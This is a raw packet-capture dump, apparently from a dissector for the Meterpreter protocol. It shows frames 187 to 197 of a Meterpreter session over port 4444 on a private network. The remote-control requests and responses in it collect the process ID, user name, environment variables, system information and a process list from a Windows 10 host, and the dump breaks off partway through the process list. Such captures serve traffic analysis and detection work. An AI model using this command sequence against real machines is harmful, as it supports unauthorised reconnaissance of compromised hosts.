    Data: 353738393136313031383638313139383034393437393332... [Value] 57891610186811980494793285242364
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7b 64 99 40 00 40 06 52 40 c0 a8 01 2a c0 a8   .{d.@.@.R@...*..
0020  01 29 11 5c c6 50 2e 7d 37 b7 a3 78 f7 99 50 18   .).\.P.}7..x..P.
0030  00 8d 84 11 00 00 00 00 00 53 00 00 00 00 00 00   .........S......
0040  00 22 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   ."....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 70 69 64 00   _process_getpid.
0060  00 00 00 29 00 01 00 02 35 37 38 39 31 36 31 30   ...)....57891610
0070  31 38 36 38 31 31 39 38 30 34 39 34 37 39 33 32   1868119804947932
0080  38 35 32 34 32 33 36 34 00                        85242364.
```

```
    187 3704.235735    192.168.1.41          192.168.1.42          MTRPROT  161    50768 → 4444 [PSH, ACK] Seq=23107 Ack=9623
Win=2051 Len=107
Frame 187: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 23107, Ack: 9623, Len: 107
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000006b [Command length]: 107
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002200010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000220001000173746461706 95f7379735f70726f6365... [TLV]
    Command: 0x00000022 [Length]: 34
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765747069... [Value] stdapi_sys_process_getpid
Meterpreter protocol, TLV details
    Data: 0000002900010002353738393136313031383638313139 38... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3537383931363130313836383131393830343934373933 32... [Value] 57891610186811980494793285242364
Meterpreter protocol, TLV details
    Data: 0000000c000208fc00000a [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
    Data: 00000a40 [Value] 2624
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 93 0d a1 40 00 80 06 69 20 c0 a8 01 29 c0 a8   ....@...i ...)..
0020  01 2a c6 50 11 5c a3 78 f7 99 2e 7d 38 0a 50 18   .*.P.\.x...}8.P.
0030  08 03 42 2b 00 00 00 00 00 6b 00 00 00 01 00 00   ..B+.....k......
0040  00 22 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   ."....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 70 69 64 00   _process_getpid.
0060  00 00 00 29 00 01 00 02 35 37 38 39 31 36 31 30   ...)....57891610
0070  31 38 36 38 31 31 39 38 30 34 39 34 37 39 33 32   1868119804947932
0080  38 35 32 34 32 33 36 34 00 00 00 00 0c 00 02 08   85242364........
0090  fc 00 00 0a 40 00 00 00 0c 00 02 00 04 00 00 00   ....@...........
00a0  00                                                .
```

```
    188 3708.103798    192.168.1.42          192.168.1.41          MTRPROT  136    4444 → 50768 [PSH, ACK] Seq=9623 Ack=23214 
Win=141 Len=82
Frame 188: 136 bytes on wire (1088 bits), 136 bytes captured (1088 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9623, Ack: 23214, Len: 82
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000052 [Command length]: 82
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000210001000173746461706 95f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000002100010001737464617069 5f7379735f636f6e6669... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f676574756964... [Value] stdapi_sys_config_getuid
Meterpreter protocol, TLV details
    Data: 00000029000100023335353934383532373530373637314... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 333535393438353237353037363731343438373035363432... [Value] 35594852750767144870564256972741
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7a 64 9b 40 00 40 06 52 3f c0 a8 01 2a c0 a8   .zd.@.@.R?...*..
0020  01 29 11 5c c6 50 2e 7d 38 0a a3 78 f8 04 50 18   .).\.P.}8..x..P.
0030  00 8d 84 10 00 00 00 00 00 52 00 00 00 00 00 00   .........R......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 67 65 74 75 69 64 00 00   _config_getuid..
0060  00 00 29 00 01 00 02 33 35 35 39 34 38 35 32 37   ..)....355948527
0070  35 30 37 36 37 31 34 34 38 37 30 35 36 34 32 35   5076714487056425
0080  36 39 37 32 37 34 31 00                           6972741.
```

```
    189 3708.104575    192.168.1.41          192.168.1.42          MTRPROT  174    50768 → 4444 [PSH, ACK] Seq=23214 Ack=9705
Win=2051 Len=120
Frame 189: 174 bytes on wire (1392 bits), 174 bytes captured (1392 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 23214, Ack: 9705, Len: 120
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000078 [Command length]: 120
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002100010001737464617069 5f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000210001000173746461706 95f7379735f636f6e6669... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f676574756964... [Value] stdapi_sys_config_getuid
Meterpreter protocol, TLV details
    Data: 0000002900010002333535393438353237353037363731 34... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 333535393438353237353037363731343438373035363432... [Value] 355948527507671448705642 56972741
Meterpreter protocol, TLV details
    Data: 0000001a000104126368656d692d7573756172696f202830... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010412 [Type: Response]: TLV_TYPE_USER_NAME
    Data: 6368656d692d7573756172696f2028302900 [Value] chemi-usuario (0)
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 00 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 a0 0d a2 40 00 80 06 69 12 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 f8 04 2e 7d 38 5c 50 18   .*.P.\.x...}8\P.
0030  08 03 6e f2 00 00 00 00 00 78 00 00 00 01 00 00   ..n......x......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 67 65 74 75 69 64 00 00   _config_getuid..
0060  00 00 29 00 01 00 02 33 35 35 39 34 38 35 32 37   ..)....355948527
0070  35 30 37 36 37 31 34 34 38 37 30 35 36 34 32 35   5076714487056425
0080  36 39 37 32 37 34 31 00 00 00 00 1a 00 01 04 12   6972741.........
0090  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 20 28 30   chemi-usuario (0
00a0  29 00 00 00 00 0c 00 02 00 04 00 00 00 00         )............
```

```
    190 3716.096597    192.168.1.42          192.168.1.41          MTRPROT  136    4444 → 50768 [PSH, ACK] Seq=9705 Ack=23334
Win=141 Len=82
Frame 190: 136 bytes on wire (1088 bits), 136 bytes captured (1088 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9705, Ack: 23334, Len: 82
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000052 [Command length]: 82
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000210001000173746461706 95f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
    Data: 00000029000100023030323831313033343532353233353 9... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 30303238313130333435323532333539343438363034313 5... [Value] 002811034525235944860415132853 43
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7a 64 9d 40 00 40 06 52 3d c0 a8 01 2a c0 a8   .zd.@.@.R=...*..
0020  01 29 11 5c c6 50 2e 7d 38 5c a3 78 f8 7c 50 18   .).\.P.}8\.x.|P.
0030  00 8d 84 10 00 00 00 00 00 52 00 00 00 00 00 00   .........R......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 67 65 74 65 6e 76 00 00   _config_getenv..
0060  00 00 29 00 01 00 02 30 30 32 38 31 31 30 33 34   ..)....002811034
0070  35 32 35 32 33 35 39 34 34 38 36 30 34 31 35 31   5252359448604151
0080  33 32 38 35 33 34 33 00                           3285343.
```

```
    191 3716.097288    192.168.1.41          192.168.1.42          MTRPROT  148    50768 → 4444 [PSH, ACK] Seq=23334 Ack=9787
Win=2050 Len=94
Frame 191: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 23334, Ack: 9787, Len: 94
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005e [Command length]: 94
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000210001000173746461706995f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000002100010001737464617069 5f7379735f636f6e6669... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
    Data: 0000002900010002303032383131303334353235323335 39... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 30303238313130333435323532333539343438363034313 5... [Value] 00281103452523594486041513285343
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 86 0d a3 40 00 80 06 69 2b c0 a8 01 29 c0 a8   ....@...i+...)..
0020  01 2a c6 50 11 5c a3 78 f8 7c 2e 7d 38 ae 50 18   .*.P.\.x.|.}8.P.
0030  08 02 cb 38 00 00 00 00 00 5e 00 00 00 01 00 00   ...8.....^......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 67 65 74 65 6e 76 00 00   _config_getenv..
0060  00 00 29 00 01 00 02 30 30 32 38 31 31 30 33 34   ..)....002811034
0070  35 32 35 32 33 35 39 34 34 38 36 30 34 31 35 31   5252359448604151
0080  33 32 38 35 33 34 33 00 00 00 00 0c 00 02 00 04   3285343.........
0090  00 00 00 00                                       ....
```

```
    192 3729.198471    192.168.1.42          192.168.1.41          MTRPROT  147    4444 → 50768 [PSH, ACK] Seq=9787 Ack=23428
Win=141 Len=93
Frame 192: 147 bytes on wire (1176 bits), 147 bytes captured (1176 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9787, Ack: 23428, Len: 93
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005d [Command length]: 93
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000210001000173746461706 95f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
    Data: 00000029000100023938343638393939353239353533383831... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 39383436383939393532393535333831383637383834303535... [Value] 98468999529553818678840583880439
Meterpreter protocol, TLV details
    Data: 0000000b0001044c2d68 [TLV]
    Command: 0x0000000b [Length]: 11
    Type: 0x0001044c [Type: Request]: TLV_TYPE_ENV_VARIABLE
    Data: 2d6800 [Value] -h
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 85 64 9f 40 00 40 06 52 30 c0 a8 01 2a c0 a8   ..d.@.@.R0...*..
0020  01 29 11 5c c6 50 2e 7d 38 ae a3 78 f8 da 50 18   .).\.P.}8..x..P.
0030  00 8d 84 1b 00 00 00 00 00 5d 00 00 00 00 00 00   .........]......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 67 65 74 65 6e 76 00 00   _config_getenv..
0060  00 00 29 00 01 00 02 39 38 34 36 38 39 39 39 35   ..)....984689995
0070  32 39 35 35 33 38 31 38 36 37 38 38 34 30 35 38   2955381867884058
0080  33 38 38 30 34 33 39 00 00 00 00 0b 00 01 04 4c   3880439........L
0090  2d 68 00                                          -h.
```

```
    193 3729.199352    192.168.1.41          192.168.1.42          MTRPROT  148    50768 → 4444 [PSH, ACK] Seq=23428 Ack=9880
Win=2050 Len=94
Frame 193: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 23428, Ack: 9880, Len: 94
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005e [Command length]: 94
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000210001000173746461706 95f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000002100010001737464617069 5f7379735f636f6e6669... [TLV]
    Command: 0x00000021 [Length]: 33
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f676574656e76... [Value] stdapi_sys_config_getenv
Meterpreter protocol, TLV details
    Data: 000000290001000239383436383939393532393535333831... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 39383436383939393532393535333831383637383834303 5... [Value] 98468999529553818678840583880439
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 00 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 86 0d a4 40 00 80 06 69 2a c0 a8 01 29 c0 a8   ....@...i*...)..
0020  01 2a c6 50 11 5c a3 78 f8 da 2e 7d 39 0b 50 18   .*.P.\.x...}9.P.
0030  08 02 b6 43 00 00 00 00 00 5e 00 00 00 01 00 00   ...C.....^......
0040  00 21 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .!....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 67 65 74 65 6e 76 00 00   _config_getenv..
0060  00 00 29 00 01 00 02 39 38 34 36 38 39 39 39 35   ..)....984689995
0070  32 39 35 35 33 38 31 38 36 37 38 38 34 30 35 38   2955381867884058
0080  33 38 38 30 34 33 39 00 00 00 00 0c 00 02 00 04   3880439.........
0090  00 00 00 00                                       ....
```

```
    194 3738.774366    192.168.1.42          192.168.1.41          MTRPROT  137    4444 → 50768 [PSH, ACK] Seq=9880 Ack=23522
Win=141 Len=83
Frame 194: 137 bytes on wire (1096 bits), 137 bytes captured (1096 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9880, Ack: 23522, Len: 83
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000053 [Command length]: 83
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000002200010001737464617069 5f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000022000100017374646170695f7379735f636f6e6669... [TLV]
    Command: 0x00000022 [Length]: 34
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f737973696e66... [Value] stdapi_sys_config_sysinfo
Meterpreter protocol, TLV details
    Data: 00000029000100023134313333333331373139383536353931... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3134313333333331373139383536353931383030343731303 5... [Value] 14133317198565918004710502823766
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7b 64 a1 40 00 40 06 52 38 c0 a8 01 2a c0 a8   .{d.@.@.R8...*..
0020  01 29 11 5c c6 50 2e 7d 39 0b a3 78 f9 38 50 18   .).\.P.}9..x.8P.
0030  00 8d 84 11 00 00 00 00 00 53 00 00 00 00 00 00   .........S......
0040  00 22 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   ."....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 73 79 73 69 6e 66 6f 00   _config_sysinfo.
0060  00 00 00 29 00 01 00 02 31 34 31 33 33 33 31 37   ...)....14133317
0070  31 39 38 35 36 35 39 31 38 30 30 34 37 31 30 35   1985659180047105
0080  30 32 38 32 33 37 36 36 00                        02823766.
```

```
    195 3738.775924    192.168.1.41          192.168.1.42          MTRPROT  239    50768 → 4444 [PSH, ACK] Seq=23522 Ack=9963
Win=2050 Len=185
Frame 195: 239 bytes on wire (1912 bits), 239 bytes captured (1912 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 23522, Ack: 9963, Len: 185
Meterpreter protocol, Command details here or in the tree below
    Command: 0x000000b9 [Command length]: 185
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000220001000173746461706 95f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000022000100017374646170695f7379735f636f6e6669... [TLV]
    Command: 0x00000022 [Length]: 34
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f636f6e6669675f737973696e66... [Value] stdapi_sys_config_sysinfo
Meterpreter protocol, TLV details
    Data: 00000029000100023134313333333137313938353635393931... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3134313333333137313938353635393138303034373130 35... [Value] 14133317198565918004710502823766
Meterpreter protocol, TLV details
    Data: 00000016000104105346435052 4f332d4348454d49 [TLV]
    Command: 0x00000016 [Length]: 22
    Type: 0x00010410 [Type: Response]: TLV_TYPE_COMPUTER_NAME
    Data: 53464350524f332d4348454d4900 [Value] SFCPRO3-CHEMI
Meterpreter protocol, TLV details
    Data: 0000004400010411576 96e646f7773204e54205346435052... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x00010411 [Type: Response]: TLV_TYPE_OS_NAME
    Data: 57696e646f7773204e542053464350524f332d4348454d49... [Value] Windows NT SFCPRO3-CHEMI 10.0 build 14393 (Windows 10) i586
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 e1 0d a5 40 00 80 06 68 ce c0 a8 01 29 c0 a8   ....@...h....)..
0020  01 2a c6 50 11 5c a3 78 f9 38 2e 7d 39 5e 50 18   .*.P.\.x.8.}9^P.
0030  08 02 ef 94 00 00 00 00 00 b9 00 00 00 01 00 00   ................
0040  00 22 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   ."....stdapi_sys
0050  5f 63 6f 6e 66 69 67 5f 73 79 73 69 6e 66 6f 00   _config_sysinfo.
0060  00 00 00 29 00 01 00 02 31 34 31 33 33 33 31 37   ...)....14133317
0070  31 39 38 35 36 35 39 31 38 30 30 34 37 31 30 35   1985659180047105
0080  30 32 38 32 33 37 36 36 00 00 00 00 16 00 01 04   02823766........
0090  10 53 46 43 50 52 4f 33 2d 43 48 45 4d 49 00 00   .SFCPRO3-CHEMI..
00a0  00 00 44 00 01 04 11 57 69 6e 64 6f 77 73 20 4e   ..D....Windows N
00b0  54 20 53 46 43 50 52 4f 33 2d 43 48 45 4d 49 20   T SFCPRO3-CHEMI 
00c0  31 30 2e 30 20 62 75 69 6c 64 20 31 34 33 39 33   10.0 build 14393
00d0  20 28 57 69 6e 64 6f 77 73 20 31 30 29 20 69 35    (Windows 10) i5
00e0  38 36 00 00 00 00 0c 00 02 00 04 00 00 00 00      86.............
```

```
    196 3754.993278    192.168.1.42          192.168.1.41          MTRPROT  144    4444 → 50768 [PSH, ACK] Seq=9963 Ack=23707 
Win=144 Len=90
Frame 196: 144 bytes on wire (1152 bits), 144 bytes captured (1152 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 9963, Ack: 23707, Len: 90
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005a [Command length]: 90
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000290001000173746461706 95f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000029000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
    Data: 00000029000100023831363137333736363034323739303031... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 383136313733373636303432373930313437323632313632... [Value] 81617376604279014726216223373897
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 82 64 a3 40 00 40 06 52 2f c0 a8 01 2a c0 a8   ..d.@.@.R/...*..
0020  01 29 11 5c c6 50 2e 7d 39 5e a3 78 f9 f1 50 18   .).\.P.}9^.x..P.
0030  00 90 84 18 00 00 00 00 00 5a 00 00 00 00 00 00   .........Z......
0040  00 29 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .)....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 5f 70 72 6f   _process_get_pro
0060  63 65 73 73 65 73 00 00 00 00 29 00 01 00 02 38   cesses....)....8
0070  31 36 31 37 33 37 36 36 30 34 32 37 39 30 31 34   1617376604279014
0080  37 32 36 32 31 36 32 32 33 33 37 33 38 39 37 00   726216223373897.
```

```
    197 3758.864066    192.168.1.41          192.168.1.42          MTRPROT  8246   50768 → 4444 [PSH, ACK] Seq=23707 Ack=10053
Win=2049 Len=8192
Frame 197: 8246 bytes on wire (65968 bits), 8246 bytes captured (65968 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 23707, Ack: 10053, Len: 8192
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00002df0 [Command length]: 11760
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002900010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000029000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
    Data: 00000029000100023831363137333736363034323739303031... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 383136313733373636303432373930313437323632313632... [Value] 81617376604279014726216223373897
Meterpreter protocol, TLV details
    Data: 00000068400008ff0000000c000208fc000000000000001c... [TLV]
    Command: 0x00000068 [Length]: 104
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000000000000001c000104124e542041... [Value] □□□�□□□□NT AUTHORITY\SYSTEM□□□�System Idle
Process□□□�System Idle Process
Meterpreter protocol, TLV details
    Data: 0000003e400008ff0000000c000208fc000000040000000c... [TLV]
    Command: 0x0000003e [Length]: 62
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000000040000000c000104124e2f4100... [Value] □□□�□□□□□N/A□□□�System□□□�System
Meterpreter protocol, TLV details
    Data: 00000042400008ff0000000c000208fc000001700000000c... [TLV]
    Command: 0x00000042 [Length]: 66
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000001700000000c000104124e2f4100... [Value] □□□�□p□□□□N/A□□□�smss.exe□□□�smss.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc000002240000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002240000000c000104124e2f4100... [Value] □□□�□$□□□□N/A□□□�csrss.exe□□□�csrss.exe
Meterpreter protocol, TLV details
    Data: 00000048400008ff0000000c000208fc000002780000000c... [TLV]
    Command: 0x00000048 [Length]: 72
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002780000000c000104124e2f4100... [Value] □□□�□x□□□□N/A□□□�wininit.exe□□□�wininit.exe
Meterpreter protocol, TLV details
    Data: 0000004a400008ff0000000c000208fc000002fc0000000c... [TLV]
    Command: 0x0000004a [Length]: 74
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000002fc0000000c000104124e2f4100... [Value] □□□�□�□□□□N/A□□□�services.exe□□□�services.exe
Meterpreter protocol, TLV details
    Data: 00000044400008ff0000000c000208fc000003040000000c... [TLV]
    Command: 0x00000044 [Length]: 68
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
